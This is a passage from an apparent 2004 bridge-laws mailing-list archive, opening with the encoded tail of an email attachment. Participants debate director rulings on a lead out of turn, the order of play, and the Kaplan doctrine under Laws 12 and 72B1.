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 ------=_NextPart_000_0014_0000674B.00006B3C-- From adam@irvine.com Mon May 17 19:22:14 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 17 May 2004 11:22:14 -0700 Subject: [blml] How do you rule? Part II In-Reply-To: Your message of "Mon, 17 May 2004 13:43:59 EDT." Message-ID: <200405171822.LAA11166@mailhub.irvine.com> > Here's the rest of the story. For reference, my original message is > repeated below. > > 9. When the director was informed that dummy called attention to the > lead out of turn, she said "that's okay, she's permitted to do that." Wrong. However, the Laws don't give a specific penalty for this. They allow the TD to impose a procedural penalty; but even in a club where the TD knows the Laws, I can't imagine giving a PP given that many players don't know this rule. A warning should be enough. In some rare cases, dummy's infraction may cause damage by causing East to give declarer the unauthorized information that North would prefer that declarer lead from dummy (normally it's AI, but I think it might be UI here because of dummy's infraction). I'd expect this an adjustment on these grounds to be extremely unusual, though. > 10. She ruled that declarer should lead from his hand. Wrong again, as already discussed. > 11. When informed that West had faced the two of diamonds and then > returned it to his hand, she said "that's okay, he was obviously > leading that card." > 12. Declarer then led the diamond ace from his hand. The TD should rule that the declarer must lead the D2. The reason is that since the TD has already gone 0-for-2 in her rulings, she shouldn't spoil her perfect record by getting one right. I believe that by L9B2, any actions following an irregularity are cancelled, so we act as if the D2 lead never really happened. So once the TD rules (incorrectly in this case) that declarer must lead from his hand, he's allowed to lead any card in his hand. I don't think L9C has any effect here. -- Adam From ehaa@starpower.net Mon May 17 17:13:34 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 12:13:34 -0400 Subject: [blml] How do you rule? In-Reply-To: <000001c43c22$aa7845a0$6900a8c0@WINXP> References: <5.2.0.9.0.20040517092152.02902100@pop.starpower.net> Message-ID: <5.2.0.9.0.20040517115630.009ef5a0@pop.starpower.net> At 11:21 AM 5/17/04, Sven wrote: >Eric Landau >.......... > > My initial reaction was that Walt's suggested alternative > > interpretation would contradict the law governing the order of play... > > but I find no such law! TFLB explicitly states that the auction goes > > clockwise (L17C), but I can't find an analogous statement about the > > play. Is it there; am I just missing it? If not, shouldn't it be > added? > >You may have a point, but I feel that the following parts of the laws >together give the necessary instructions? > >Definitions: > >Rotation - The clockwise order in which the deal and the right to call or >play progress. > >Turn - The correct time at which a player may call or play. > >Law 44B: After the lead, each other player in turn plays a card, ...... > >Actually it would appear to me that the words "in a clockwise rotation" as >included in Law 17C really are redundant but I wouldn't dream of >challenging >their presence. I indeed missed it; it is there, in pieces, as Sven says. I read L44B, and got from there to the definition of "turn", which left me with "the correct time at which a player may... play". Perhaps "(see Rotation)" might be appended to the entry for "Turn". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From adam@tameware.com Mon May 17 21:22:10 2004 From: adam@tameware.com (Adam Wildavsky) Date: Mon, 17 May 2004 16:22:10 -0400 Subject: [blml] Long Beach 39-40 In-Reply-To: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> Message-ID: At 8:27 AM -0400 5/17/04, Eric Landau wrote: >At 09:42 PM 5/13/04, James wrote: > >>Furthermore, as between the two principles ("Offenders should be >>deprived of a good table result," "Blunderers are stuck with their table >>result") the Laws nowhere assign absolute priority--or any priority at >>all--to the former. Colker is making it all up (and, of course, so is >>Wolff--but one expects that). > >That's because the first principle emerges directly from a >straightforward and transparent reading of L12, while the second is >a relatively recent (about 30 years -- I'm showing my age) principle >proposed by Edgar Kaplan based on an arguably tortured and obscure >reading of that law, now an accepted "interpretation" of language >that contains nothing to justify it (in the sense that one could use >the same language as the basis for a conflicting interpretation). >We cannot expect TFLB to tell us how to weigh the relative >priorities of a clearly stated fundamental principle and one that is >not stated at all. 2 1/2 years ago I wrote that I agreed with Marvin, that the Kaplan doctrine is embedded in Law 72B1. No one disagreed then -- have you changed your mind or did you miss the post? The archives unfortunately do not go back that far, so I'll excerpt the post here: ____________________ Date: Tue, 25 Dec 2001 16:00:39 -0500 To: "Marvin L. French" From: Adam Wildavsky Subject: Re: [BLML] Kaplan Doctrine (was 12C2 Interpretation) Cc: bridge-laws@rgb.anu.edu.au At 11:32 AM -0800 12/18/01, Marvin L. French wrote: >At 3:57 PM -0500 12/17/01, Adam Wildavsky wrote: >>I had assumed that outside of the ACBL the Kaplan Doctrine is >>implemented using 12C3. I've just read Kaplan's response to Eric >>Landau in the August 1973 Bridge World. While Edgar articulated >>certain principles there, he did not indicate how it was that they >>were lawful. In any case we have a different set of laws today. >WTP? Can't you just use L72B1 for the OS (L12C2 applies) and tell the NOS >they weren't damaged, result stands? L72B1 doesn't say that damage has to >result for an adjustment to be in order, only that an irregularity "would >be likely to damage" and it "gained an advantage." "Gained an advantage" >is not synonymous with "damaged"; one can exist without the other. Bravo, Marvin! I think this is what I was looking for, the law that implements the Kaplan doctrine. ... I would make a small change to Marv's explanation. I would not tell the NOS that they were not damaged -- they'll certainly feel damaged! Rather I'd say that they were damaged through their own actions, rather than through the infraction. ____________________ -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From ehaa@starpower.net Mon May 17 22:31:54 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 17:31:54 -0400 Subject: [blml] Long Beach 39-40 In-Reply-To: References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040517165335.00ab91b0@pop.starpower.net> At 04:22 PM 5/17/04, Adam wrote: >At 8:27 AM -0400 5/17/04, Eric Landau wrote: >>At 09:42 PM 5/13/04, James wrote: >> >>>Furthermore, as between the two principles ("Offenders should be >>>deprived of a good table result," "Blunderers are stuck with their table >>>result") the Laws nowhere assign absolute priority--or any priority at >>>all--to the former. Colker is making it all up (and, of course, so is >>>Wolff--but one expects that). >> >>That's because the first principle emerges directly from a >>straightforward and transparent reading of L12, while the second is a >>relatively recent (about 30 years -- I'm showing my age) principle >>proposed by Edgar Kaplan based on an arguably tortured and obscure >>reading of that law, now an accepted "interpretation" of language >>that contains nothing to justify it (in the sense that one could use >>the same language as the basis for a conflicting interpretation). We >>cannot expect TFLB to tell us how to weigh the relative priorities of >>a clearly stated fundamental principle and one that is not stated at all. > >2 1/2 years ago I wrote that I agreed with Marvin, that the Kaplan >doctrine is embedded in Law 72B1. No one disagreed then -- have you >changed your mind or did you miss the post? The archives unfortunately >do not go back that far, so I'll excerpt the post here: >____________________ > >Date: Tue, 25 Dec 2001 16:00:39 -0500 >To: "Marvin L. French" >From: Adam Wildavsky >Subject: Re: [BLML] Kaplan Doctrine (was 12C2 Interpretation) >Cc: bridge-laws@rgb.anu.edu.au > >At 11:32 AM -0800 12/18/01, Marvin L. French wrote: >>At 3:57 PM -0500 12/17/01, Adam Wildavsky wrote: >>>I had assumed that outside of the ACBL the Kaplan Doctrine is >>>implemented using 12C3. I've just read Kaplan's response to Eric >>>Landau in the August 1973 Bridge World. While Edgar articulated >>>certain principles there, he did not indicate how it was that they >>>were lawful. In any case we have a different set of laws today. > >>WTP? Can't you just use L72B1 for the OS (L12C2 applies) and tell the NOS >>they weren't damaged, result stands? L72B1 doesn't say that damage has to >>result for an adjustment to be in order, only that an irregularity "would >>be likely to damage" and it "gained an advantage." "Gained an advantage" >>is not synonymous with "damaged"; one can exist without the other. > >Bravo, Marvin! I think this is what I was looking for, the law that >implements the Kaplan doctrine. > >... > >I would make a small change to Marv's explanation. I would not tell >the NOS that they were not damaged -- they'll certainly feel damaged! >Rather I'd say that they were damaged through their own actions, >rather than through the infraction. I would assume that Marv's explanation was reasonable for whatever case was being discussed at the time, but L72B1 calls for an adjusted score only when the "offender could have known... that the irregularity would be likely to damage the non-offending side" (and, I would argue, only when no other, more specific law applies). Surely this is not the only route to L12C2. In any case, Marv's explanation, while certainly reasonable, is, as I asserted in the case of the Kaplan doctrine itself, an arguable interpretation rather than a clearly stated fundamental principle "writ in stone". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From richard.hills@immi.gov.au Mon May 17 23:29:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 18 May 2004 08:29:08 +1000 Subject: [blml] A new one Message-ID: Eric Landau: >>>>>As Bill Clinton said, it depends on what the meaning >>>>>of "is" is. [snip] David Stevenson: >>>>Perhaps you should consider the word "obtained" then. >>>>A result *was* obtained, yes? Definitions, Artificial Adjusted Score: >>>.....no result can be obtained..... Richard James Hills: In my humble opinion, it "is" irrelevant that a result "was" obtained. The question is whether a result "can be" obtained? The answer to that question "is" that "no result can be obtained", thus 